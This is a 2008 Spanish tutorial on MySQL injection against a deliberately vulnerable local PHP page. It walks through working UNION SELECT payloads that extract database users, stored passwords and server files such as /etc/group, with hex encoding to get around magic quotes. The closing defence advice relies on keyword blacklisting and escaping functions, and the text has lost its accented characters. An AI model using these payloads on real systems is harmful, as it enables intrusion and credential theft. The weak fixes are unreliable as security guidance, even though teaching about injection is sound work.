You are on page 1of 11

Tcnicas de inyeccin en MySQL

MySQL Injection

Autor: ka0x ka0x01[at]gmail.com [ domlabs ] 01/07/2008

ndice:
0x01 0x02 0x03 0x04 0x05 0x06 0x07 0x08 Introduccin Cdigo PHP vulnerable y tabla de la DB Comprobando si la aplicacin es vulnerable a inyeccin SQL Obteniendo el nmero de columnas de la tabla users Obteniendo informacin del servidor MySQL Leyendo registros de las columnas Leyendo archivos del servidor con load_file Evitar este tipo de vulnerabilidades

-[ 0x01: Introduccin ]--Definicin de wikipedia: SQL Injection es una vulnerabilidad en el nivel de la validacin de las entradas a la base de datos de una aplicacin. Una inyeccin SQL sucede cuando se inserta o inyecta un cdigo SQL invasor dentro de otro cdigo SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el cdigo invasor en la base de datos.

-[ 0x02: Cdigo PHP vulnerable y tabla de la DB ]--cdigo PHP:


<?php /* */ MySQL Injection Paper Vuln Code

// ----- CONFIG ------$dbhost = 'localhost'; $dbuser = 'root'; $dbpass = 'password'; $dbname = 'injection'; // -------------------$user = $_GET['id']; if($user == NULL){ $user = 1; } $db = mysql_connect($host, $dbuser, $dbpass); mysql_select_db($dbname,$db); $sql = mysql_query("SELECT * FROM `users` WHERE id=".$user); $users = @mysql_fetch_row($sql); echo echo echo echo "<h2><center><u>MySQL Injection TEST<br>D.O.M LABS</u><br><br>"; "<font color='#FF0000'>user_id: </font>".$users[0]."<br>"; "<font color='#FF0000'>username: </font>".$users[1]."<br>"; "<font color='#FF0000'>country: </font>".$users[3]."<br>";

mysql_close($db); ?>

cdigo SQL:
-- Table: users CREATE TABLE `users` ( `id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, `name` varchar(25) NOT NULL, `password` varchar(50) NOT NULL, `country` varchar(20) NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ; -- users -INSERT INTO INSERT INTO INSERT INTO INSERT INTO -- eof -`users` `users` `users` `users` VALUES VALUES VALUES VALUES (1, (2, (3, (4, 'ka0x', 'dom1_p4ss', 'spain'); 'Piker', 'dom2_p4ss', 'spain'); 'an0de', 'dom3_p4ss', 'spain'); 'Xarnuz', 'dom4_p4ss', 'argentina');

-[ 0x03: Comprobando si la aplicacin es vulnerable a inyeccin SQL ]--Como tenemos el cdigo php, podemos ver que en la lnea 25 hay un grave fallo de programacin:
[] $user = $_GET['id']; [] $sql = mysql_query("SELECT * FROM `users` WHERE id=".$user); []

La variable $user no se modifica correctamente antes de ser utilizada en la consulta, por lo que por esa variable podemos inyectar nuestro cdigo SQL malicioso. Si no tendramos el cdigo, al igual que en las inyecciones a ciegas lo podemos comprobar si la aplicacin es vulnerable con valores verdadero y falso (lgica booleana). http://localhost/vuln.php?id=1 and 1=1 En este ejemplo inyectamos un valor verdadero, si la aplicacin es vulnerable nos debera imprimir el resultado que esta asignado.

http://localhost/vuln.php?id=1 and 1=0 Valor falso, si la aplicacin es vulnerable no nos debera de mostrar ningn registro de la DB.

-[ 0x04: Obteniendo el nmero de columnas de la tabla users ]--Para hacer consultas MySQL necesitaremos saber el nmero de columnas que tiene la tabla, en este caso la tabla "users". No ms ver el cdigo SQL podemos ver que tiene 4 columnas:
`id` int(10) UNSIGNED NOT NULL AUTO_INCREMENT, `name` varchar(25) NOT NULL, `password` varchar(50) NOT NULL, `country` varchar(20) NOT NULL,

Pero si no tendramos el cdigo, qu haramos para obtener el nmero de columnas que tiene la tabla? Fcil, usaremos "order by" http://localhost/vuln.php?id=1 order by 1 Como la tabla tiene ms de 1 sola columna, no nos muestra nada. http://localhost/vuln.php?id=1 order by 2 Como tiene ms de dos, sigue sin mostrar nada. Pero si hacemos: http://localhost/vuln.php?id=1 order by 4 Podemos ver que nos aparece: user_id: 1 username: ka0x country: spain Bien as ya podemos saber que la tabla tiene 4 columnas aunque no tendramos el cdigo.

-[ 0x05: Obteniendo informacin del servidor MySQL ]--* Sentencia UNION: Se usa para combinar los resultados de varias sentencias SELECT en un nico conjunto de resultados. Como antes dije que necesitbamos el nmero de columnas para hacer consultas, ahora vern por que lo deca http://localhost/vuln.php?id=-1 union select 1,2,3,4

Cada nmero que nos muestra corresponde a una columna de la tabla "users".

As que usaremos uno de esos nmeros para obtener informacin del servidor, por ejemplo: http://localhost/vuln.php?id=-1 union select 1,user(),3,4

* En el servidor MySQL, se ejecutara la consulta: SELECT * FROM users WHERE id=-1 union select 1,user(),3,4 Pueden ver que he sustituido el nmero 2 que corresponde a la columna "name" por user(), as obtendremos el usuario de la DB MySQL. user_id: 1 username: root@localhost Bueno ya sabemos que est corriendo la DB bajo el usuario "root", con lo cual tendremos todos los privilegios. Podemos leer ms objetos para obtener otro tipo de informacin del servidor como la versin del servidor MySQL, el nombre de la DBetc: version() Devuelve la versin del servidor MySQL. database() Devuelve el nombre de la base de datos actual. current_user() Devuelve el nombre de usuario y el del host para el que est autentificada la conexin actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de acceso. Puede ser diferente del valor de USER(). last_insert_id() Devuelve el ltimo valor generado automticamente que fue insertado en una columna AUTO_INCREMENT. connection_id() Devuelve el ID de una conexin. Cada conexin tiene su propio y nico ID.

-[ 0x06: Leyendo registros de las columnas ]--* UNION: Se usa para combinar los resultados de varias sentencias SELECT en un nico conjunto de resultados. * SELECT: Se usa para recuperar filas seleccionadas de una o ms tablas. * FROM: Se usa para indicar la tabla donde se realizar la consulta. * WHERE: Se usa para determinar que registros se seleccionan. Vamos a leer el 2 registro de la columna "name". http://localhost/vuln.php?id=-1 UNION SELECT 1,name,3,4 FROM users WHERE id=2

Nos aparece "Piker" ya que es el 2 registro que esta en la columna. Si querramos sacar la contrasea de Piker, solo tendramos que cambiar en la consulta "name" por "password". http://localhost/vuln.php?id=-1 UNION SELECT 1,password,3,4 FROM users WHERE id=2

-[ 0x07: Leyendo archivos del servidor con load_file ]--Con la funcin load_file podemos leer archivos del servidor y obtener su contenido en forma de cadena. Por defecto el usuario root@localhost y otros usuarios con privilegios FILE, pueden usar esta funcin. Ejemplo de uso (leyendo /etc/group): mysql> select load_file(/etc/group); root:x:0: daemon:x:1: bin:x:2: sys:x:3: [..]

El archivo va entrecomillado, as que si en la aplicacin vulnerable intentamos hacer:

http://localhost/vuln.php?id=-1 union select 1,load_file(/etc/group),3,4

Sera intil, ya que las magic_quotes_gpc en php5 estn activadas por defecto y el servidor web de forma automtica metera una barra invertida antes de cada comilla sencilla quedando la peticin as:
http://localhost/vuln.php?id=-1 union select 1,load_file(\/etc/group\),3,4

No obtendramos ningn resultado. Hay alguna forma de poder leer el archivo sin usar las comillas? Claro, podramos pasar /etc/group a hexadecimal con la funcin hex de MySQL o con este cdigo en C que les dejo:
#include <stdio.h> // MySQL Injection Paper // hex encoder void hex(char *buffer){ int x; printf("[*] hex: 0x"); for(x=0;x<strlen(buffer);x++){ printf("%x", buffer[x]); } printf("\n\n"); return; } int main(int argc, char **argv){ if(!argv[1]){ printf("\n\n[ DOMLABS NEVER DIE ]\n\n"); printf("[*] usage: %s <text_to_encode>\n\n", argv[0]); return 0; } printf("[*] text to encode: %s\n", argv[1]); hex(argv[1]); return 0;

Nos tira 0x2f6574632f67726f7570 que equivale a /etc/group en hexadecimal, de esta forma ya podemos leer el archivo: http://localhost/vuln.php?id=-1 union select 1,load_file(0x2f6574632f67726f7570),3,4

-[ 0x08 Evitar este tipo de vulnerabilidades ]--Para evitar este tipo de vulnerabilidades hay diferentes formas: - Si el dato que esperamos en una variable es numrico, lo ms rpido y sencillo es hacer lo siguiente:
[] $user = (int)$_GET['id']; []

Si se introduce cualquier otro dato que no sea numrico, la aplicacin no mostrar nada.

- Funcin str_replace, ejemplo:


[] $user = $_GET['id']; $user = str_replace("select","123456789",$user); []

Si en la variable $user se encuentra la palabra select, lo sustituir por 123456789, as el atacante no podr realizar la consulta correctamente. Podemos poner ms expresiones regulares que detecten otras palabras reservadas del lenguaje SQL. - mysql_escape_string, addslashes, htmlspecialchars - Si quieren ms funciones, entren en php.net

__EOF__
Este documento se ha realizado en Apache/2.2.8, PHP/5.2.4 y MySQL 5.0. Espero que les haya gustado y que se haya entendido lo ms claramente posible, cualquier duda o sugerencia que tengan, pueden enviarme un email. Un saludo! # ka0x

You might also like